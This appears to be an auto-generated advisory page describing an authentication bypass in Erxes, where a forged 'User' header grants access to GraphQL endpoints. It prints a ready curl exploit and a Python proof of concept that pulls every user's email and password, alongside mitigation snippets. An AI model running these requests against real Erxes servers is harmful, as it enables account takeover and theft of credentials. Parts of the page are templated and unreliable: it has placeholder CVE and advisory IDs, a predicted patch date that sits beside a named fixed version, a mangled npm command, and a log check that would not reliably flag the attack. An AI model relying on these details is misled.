Erxes, Incorrect Access Control, CVE-2025-XXXXX (High)

Listen to this Post

How the CVE Works

CVE-2025-XXXXX exploits an authentication bypass in Erxes versions below 1.6.1. The vulnerability occurs due to improper validation of the “User” HTTP header in GraphQL API requests. An attacker can manipulate this header to impersonate any registered user, gaining unauthorized access to sensitive endpoints. The system fails to verify session tokens or enforce proper authorization checks when the header is modified. This allows malicious actors to execute privileged GraphQL queries, potentially leading to data theft, account takeover, or system compromise.

DailyCVE Form:

Platform: Erxes
Version: <1.6.1
Vulnerability: Auth Bypass
Severity: High
Date: Jun 10, 2025

Prediction: Patch by Jul 15, 2025

What Undercode Say:

Exploitation:

curl -X POST https://target-erxes/graphql -H "User: admin" -d '{"query":"{ sensitiveData { ... } }"}'

Detection (Check Version):

curl -I https://target-erxes/version | grep "erxes"

Mitigation:

  1. Temporary Fix: Block unauthorized “User” headers via WAF:
    location /graphql {
    if ($http_user) { return 403; }
    }
    

2. Patch Upgrade:

npm update [email protected] --save

Exploit Code (PoC):

import requests
headers = {"User": "admin"}
payload = {"query": "{ users { email password } }"}
response = requests.post("http://erxes-host/graphql", headers=headers, json=payload)
print(response.text)

Log Analysis (Post-Attack):

grep "graphql" /var/log/erxes/access.log | grep -v "authenticated"

API Hardening:

// Middleware to enforce auth
app.use('/graphql', (req, res, next) => {
if (!req.session.user) return res.status(403).send();
next();
});

Impact Metrics:

  • CVSS: 8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L)
  • Exploitability: Low skill required
  • Affected Components: All GraphQL endpoints

References:

  • GitHub Advisory: GHSA-xxxx-xxxx-xxxx
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-XXXXX

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top